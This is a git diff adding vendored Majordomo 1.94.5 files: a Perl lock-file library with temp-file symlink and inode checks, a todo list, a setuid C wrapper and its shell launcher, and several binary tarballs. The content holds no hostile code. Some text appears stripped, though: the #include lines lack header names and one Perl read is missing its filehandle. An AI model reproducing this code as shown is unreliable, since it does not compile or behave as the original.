exclusive access; we remember the name of the lock +# file, so that we can delete it when we close the file +# +sub main'lopen { + local($FH) = shift; + local($mode) = shift; + local($file) = shift; + # $fm is what will actually get passed to open() + local($fm) = "$mode$file"; + local($status); + + # create name for lock file + local($lockfile) = $file; + $lockfile =~ s,([^/]*)$,L.$1,; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + return undef unless &main'set_lock("$lockfile"); + + # Got the lock; now try to open the file + if ($status = open($FH, $fm)) { + # File successfully opened; remember the lock file for deletion + $lock_files[fileno($FH)] = "$lockfile"; + } else { + # File wasn't successfully opened; delete the lock + &main'free_lock($lockfile); + } + # return the success or failure of the open + return $status; +} + +# reopen a file already opened and locked (probably to change read/write mode). +# We remember the name of the lock file, so that we can delete it when +# we close the file +# +sub main'lreopen { + local($FH) = shift; + local($mode) = shift; + local($file) = shift; + # $fm is what will actually get passed to open() + local($fm) = "$mode$file"; + + # create name for lock file + local($lockfile) = $file; + $lockfile =~ s,([^/]*)$,L.$1,; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + # close the old file handle, and delete the lock reference + if ($lock_files[fileno($FH)]) { + undef($lock_files[fileno($FH)]); + close($FH); + } else { + # the file wasn't already locked + # unlink("$lockfile"); ### Do we really want to do this? + return(undef); + } + + # We've already got the lock; now try to open the file + $status = open($FH, $fm); + if (defined($status)) { + # File successfully opened; remember the lock file for deletion + $lock_files[fileno($FH)] = "$lockfile"; + } else { + # File wasn't successfully opened; delete the lock + unlink("$lockfile"); + } + # return the success or failure of the open + return($status); +} + + +# Close a locked file, deleting the corresponding .lock file. +# +sub main'lclose { + local($FH) = shift; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + local($lock) = $lock_files[fileno($FH)]; + close($FH); + unlink($lock); +} + +# Open a temp file. Ensure it is temporary by checking for other links, etc. +# +sub main'open_temp { + local($FH_name, $filename) = @_; + local($inode1, $inode2, $dev1, $dev2) = (); + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH_name =~ s/^[^':]+$/$package'$&/; + + if ( -e $filename ) { + &alert("Failed to open temp file '$filename', it exists"); + return(undef); + } + + unless (open($FH_name, ">> $filename")) { + local($tempdir) = ($filename =~ m|(.*)/|) ? $1 : "."; + if (! -e $tempdir) { + &main'abort("shlock: '$tempdir' does not exist"); + } + elsif (! -d _) { + &main'abort("shlock: '$tempdir' is not a directory\n"); + } + elsif (! -w _) { + &main'abort("shlock: '$tempdir' is not writable by UID $> GID", + (split(" ", $) ))[0], "\n"); + } + else { + &alert("open of temp file '$filename' failed: $!"); + } + return(undef); + } + + if ( -l $filename ) { + &alert("Temp file '$filename' is a symbolic link after opening"); + return(undef); + } + + if ( (stat(_))[3] != 1 ) { + &alert("'$filename' has more than one link after opening"); + return(undef); + } + + ($dev1, $inode1) = (lstat(_))[0..1]; + local(*FH) = $FH_name; + ($dev2, $inode2) = (stat(FH))[0..1]; + + if ($inode1 != $inode2) { + &alert("Inode for filename does not match filehandle! Inode1=$inode1 Inode2=$inode2"); + return(undef); + } + + if ($dev1 != $dev2) { + &alert("Device for filename does not match filehandle! Dev1=$dev1 Dev2=$dev2"); + return(undef); + } + + if ( (stat(_))[3] != 1 ) { + &alert("filehandle has more than one link after opening"); + return(undef); + } + return(1); +} + +sub is_process { + local($pid) = shift; + + print STDERR "process $pid is " if $shlock_debug; + if ($pid <= 0) { + print STDERR "invalid\n" if $shlock_debug; + return(0); + } + if (kill(0, $pid) <= 0) { + if ($! == $ESRCH) + { print STDERR "dead\n" if $shlock_debug; return 0; } + elsif ($! == $EPERM) + { print STDERR "alive\n" if $shlock_debug; return 1; } + else + { print STDERR "state unknown: $!\n" if $shlock_debug; return 1; } + } + print "alive\n" if $shlock_debug; + return 1; +} + +sub check_lock { + local($file) = shift; + local(*FILE, $pid, $buf); + + print STDERR "checking extant lock '$file'\n" if $shlock_debug; + unless (open(FILE, "$file")) { + &alert("shlock: open('$file'): $!") if $shlock_debug; + return 1; + } + + $pid = int($buf = ); + + if ($pid <= 0) { + close(FILE); + print STDERR "lock file format error\n" if $shlock_debug; + return 0; + } + close(FILE); + return(&is_process($pid)); +} + +sub extant_file { + local($file) = shift; + local(*FILE); + local($tempname); + + $tempname = $file; + if ($tempname =~ /\//) { + $tempname =~ s,/[^\/]*$,/,; + $tempname .= "shlock.$$"; + } else { + $tempname = "shlock.$$"; + } + print STDERR "temporary filename '$tempname'\n" if $shlock_debug; + + { # redo-controlled loop + if ( -e $tempname ) { + print STDERR "file '$tempname' exists\n" if $shlock_debug; + unlink($tempname); # no message because it might be gone by now. + redo; + } + elsif (! &main'open_temp(FILE, $tempname)) { + print STDERR "can't create temporary file '$tempname': $!" + if $shlock_debug; + return(undef); + } + } + + unless (print FILE "$$\n") { + &alert("shlock failed: write('$tempname', '$$'): $!"); + close(FILE); + unlink($tempname) || &alert("shlock: unlink('$tempname'): $!"); + return(undef); + } + close(FILE); + + sleep(15) if $shlock_debug; # give me a chance to look at the lock file + return($tempname); +} + +1; diff --git a/update/scripts/packages/majordomo-1.94.5/todo.local b/update/scripts/packages/majordomo-1.94.5/todo.local new file mode 100644 index 0000000..a0e49d0 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/todo.local @@ -0,0 +1,100 @@ +Partial: add code to override the archive directory on a per list basis. + + config file recognizes keyword archive_dir, majordomo get/index + doesn't use it yet. + +Partial: add more keywords: + + DONE: comments (array)- allow commentary/rcs log info + + process - time interval - if in time interval, process + requests, otherwise exit status 75 + file-process - see process, for get/put + resend-process - see process + + load - three floats (1, 5, 15 minute load average. 0.0 means + doesn't matter). If + uptime load > any one of these, then exit with code 75 to + have sendmail requeue the job and try later. + + file-times - a time/day spec for times that majordomo should process + get/index and other specs. Exit w/ code 75 if wrong time. + + resend-times - a time/day spec for when resend shouldn't run. + Exit w/ code 75 if wrong time. + + exclude-user - opposite of -I flag to exclude ability of people + to post to a mailing list. + +NOT: analyze code to make sure all areas that require locks are in place + +NOT: Analyze code to replace all mailer invocation with code that can be + set in the majordomo.cf file. This includes normalizing the + variable for the -f argument to sendmail, and the sendmail location etc. + +NOT: detect error condition (e.g. out of disk space) and deal with them + (e.g. check close return values) + +NOT: clean up messages that are put into the config file. Diction and + parallelism needs work. + +NOT: vett any and all \001's that may be in the config file. + +NOT: create an addin that uses the config file stuff. + +NOT: after alan's stuff add pre/post message hook to the code. + +NOT: add code to support incremental config file changes. + +NOT: Add support for delayed reply REPLY handling. + Remove sendmail open from majordomo, add send_reply command + have all prints to reply be pushes onto $Reply. + + First shot screwed up something with the filehandles. Need to + try again. It may be perl 4.019 rearing its ugly head. + +partial: add ability to add arbitrary headers to message + + config file elements in place as type string array. This should + probably be specialized so that only known or X- headers can + be specified. Also the code in resend has to be modified to + remove duplicate headers, and to allow override headers. + +DONE (12/8/93): add ability to add reply to header that has sender's + from address + + Just specify $SENDER as the value of the reply_to string. + Actually the entire set of $ elements recognized + by &config'substitute_values is recognized. + +DONE (11/18/93): fix bug with mixing pipleines that allows portions on + incoming data stream into config file due to fork. When + running write_config (formally mk_default_config). + +DONE: add configure get password + +DONE: add functions absolute_dir and absolute_file to look for / forms of + paths + +DONE: add support for enumerated keywords + +DONE: Add keyword subscribe_policy to have values open, closed, or auto + config file recognizes it, majordomo uses it. + +DONE: add support for array keyword values + Have added code to recognize key << END, and read it into a \001 + seperated stringified array. + + the only array values currently are: advertize/noadvertize + and majordomo can deal with the arrays. + + Also comments is an array, but is only for internal config file use. + +DONE: fix do_approve so it loads the config file when it gets called + this will allow config file password to be used for approves. + +DONE: fix keywords so they all use _ or - as a seperator character. + chose _ + +DONE: enhance resend so that trailer text can be added to the code. + keyword message_footer diff --git a/update/scripts/packages/majordomo-1.94.5/wrapper b/update/scripts/packages/majordomo-1.94.5/wrapper new file mode 100644 index 0000000..a2712c8 Binary files /dev/null and b/update/scripts/packages/majordomo-1.94.5/wrapper differ diff --git a/update/scripts/packages/majordomo-1.94.5/wrapper.c b/update/scripts/packages/majordomo-1.94.5/wrapper.c new file mode 100644 index 0000000..9cc5e3b --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/wrapper.c @@ -0,0 +1,157 @@ +/* + * $Source: /sources/cvsrepos/majordomo/wrapper.c,v $ + * $Revision: 1.8 $ + * $Date: 1997/08/27 15:01:12 $ + * $Author: cwilson $ + * $State: Exp $ + * + * $Locker: $ + * + */ + +#ifndef lint +static char rcs_header[] = "$Header: /sources/cvsrepos/majordomo/wrapper.c,v 1.8 1997/08/27 15:01:12 cwilson Exp $"; +#endif + +#include +#include + +#if defined(sun) && defined(sparc) +#include +#endif + + +#ifndef STRCHR +# include +# define STRCHR(s,c) strchr(s,c) +#endif + +#ifndef BIN +# define BIN "/usr/local/mail/majordomo" +#endif + +#ifndef PATH +# define PATH "PATH=/bin:/usr/bin:/usr/ucb" +#endif + +#ifndef HOME +# define HOME "HOME=/usr/local/mail/majordomo" +#endif + +#ifndef SHELL +# define SHELL "SHELL=/bin/sh" +#endif + +char * new_env[] = { + HOME, /* 0 */ + PATH, /* 1 */ + SHELL, /* 2 */ +#ifdef MAJORDOMO_CF + MAJORDOMO_CF, /* 3 */ +#endif + 0, /* possibly for USER or LOGNAME */ + 0, /* possible for LOGNAME */ + 0, /* possibly for timezone */ + 0 +}; + +int new_env_size = 7; /* to prevent overflow problems */ + +main(argc, argv, env) + int argc; + char * argv[]; + char * env[]; + +{ + char * prog; + int e, i; + + if (argc < 2) { + fprintf(stderr, "USAGE: %s program [ ...]\n", argv[0]); + exit(EX_USAGE); + } + + /* if the command contains a /, then don't allow it */ + if (STRCHR(argv[1], '/') != (char *) NULL) { + /* this error message is intentionally cryptic */ + fprintf(stderr, "%s: error: insecure usage\n", argv[0]); + exit(EX_NOPERM); + } + + if ((prog = (char *) malloc(strlen(BIN) + strlen(argv[1]) + 2)) == NULL) { + fprintf(stderr, "%s: error: malloc failed\n", argv[0]); + exit(EX_OSERR); + } + + sprintf(prog, "%s/%s", BIN, argv[1]); + + /* copy the "USER=" and "LOGNAME=" envariables into the new environment, + * if they exist. + */ + +#ifdef MAJORDOMO_CF + e = 4; /* the first unused slot in new_env[] */ +#else + e = 3; /* the first unused slot in new_env[] */ +#endif + + for (i = 0 ; env[i] != NULL && e <= new_env_size; i++) { + if ((strncmp(env[i], "USER=", 5) == 0) || + (strncmp(env[i], "TZ=", 3) == 0) || + (strncmp(env[i], "LOGNAME=", 8) == 0)) { + new_env[e++] = env[i]; + } + } + + +#if defined(SETGROUP) +/* renounce any previous group memberships if we are running as root */ + if (geteuid() == 0) { /* Should I exit if this test fails? */ + char *setgroups_used = "setgroups_was_included"; /* give strings a hint */ +#if defined(MAIL_GID) + int groups[] = { POSIX_GID, MAIL_GID, 0 }; + if (setgroups(2, groups) == -1) { +#else + int groups[] = { POSIX_GID, 0 }; + if (setgroups(1, groups) == -1) { +#endif + extern int errno; + + fprintf(stderr, "%s: error setgroups failed errno %d", argv[0], + errno); + } +} +#endif + + +#ifdef POSIX_GID + setgid(POSIX_GID); +#else + setgid(getegid()); +#endif + +#ifdef POSIX_UID + setuid(POSIX_UID); +#else + setuid(geteuid()); +#endif + + if ((getuid() != geteuid()) || (getgid() != getegid())) { + fprintf(stderr, "%s: error: Not running with proper UID and GID.\n", argv[0]); + fprintf(stderr, " Make certain that wrapper is installed setuid, and if so,\n"); + fprintf(stderr, " recompile with POSIX flags.\n"); + exit(EX_SOFTWARE); + } + + execve(prog, argv+1, new_env); + + /* the exec should never return */ + fprintf(stderr, "wrapper: Trying to exec %s failed: ", prog); + perror(NULL); + fprintf(stderr, " Did you define PERL correctly in the Makefile?\n"); + fprintf(stderr, " HOME is %s,\n", HOME); + fprintf(stderr, " PATH is %s,\n", PATH); + fprintf(stderr, " SHELL is %s,\n", SHELL); + fprintf(stderr, " MAJORDOMO_CF is %s\n", MAJORDOMO_CF); + exit(EX_OSERR); +} diff --git a/update/scripts/packages/majordomo-1.94.5/wrapper.sh b/update/scripts/packages/majordomo-1.94.5/wrapper.sh new file mode 100644 index 0000000..494db10 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/wrapper.sh @@ -0,0 +1,13 @@ +#! /bin/sh +PATH=/bin:/usr/bin +IFS=" " + +if [ -d /sys/node_data ]; then + arch="DomainOS" + else + arch=`arch` +fi + +exec $0.${arch} "$@" + +# $Header: /sources/cvsrepos/majordomo/wrapper.sh,v 1.4 1994/05/09 17:41:29 rouilj Exp $ diff --git a/update/scripts/packages/ncftp-3.2.6-src.tar.gz b/update/scripts/packages/ncftp-3.2.6-src.tar.gz new file mode 100644 index 0000000..be16aa6 Binary files /dev/null and b/update/scripts/packages/ncftp-3.2.6-src.tar.gz differ diff --git a/update/scripts/packages/services.tar.gz b/update/scripts/packages/services.tar.gz new file mode 100644 index 0000000..0c52123 Binary files /dev/null and b/update/scripts/packages/services.tar.gz differ diff --git a/update/scripts/packages/services.tar.gz.md5 b/update/scripts/packages/services.tar.gz.md5 new file mode 100644 index 0000000..bd5d2eb --- /dev/null +++ b/update/scripts/packages/services.tar.gz.md5 @@ -0,0 +1 @@ +e217b8408be282fec0ad2f1f11a54a0b services_es80_64.tar.gz diff --git a/update/scripts/packages/sysbk.tar.gz b/update/scripts/packages/sysbk.tar.gz new file mode 100644 index 0000000..44a3310 Binary files /dev/null and b/update/scripts/packages/sysbk.tar.gz differ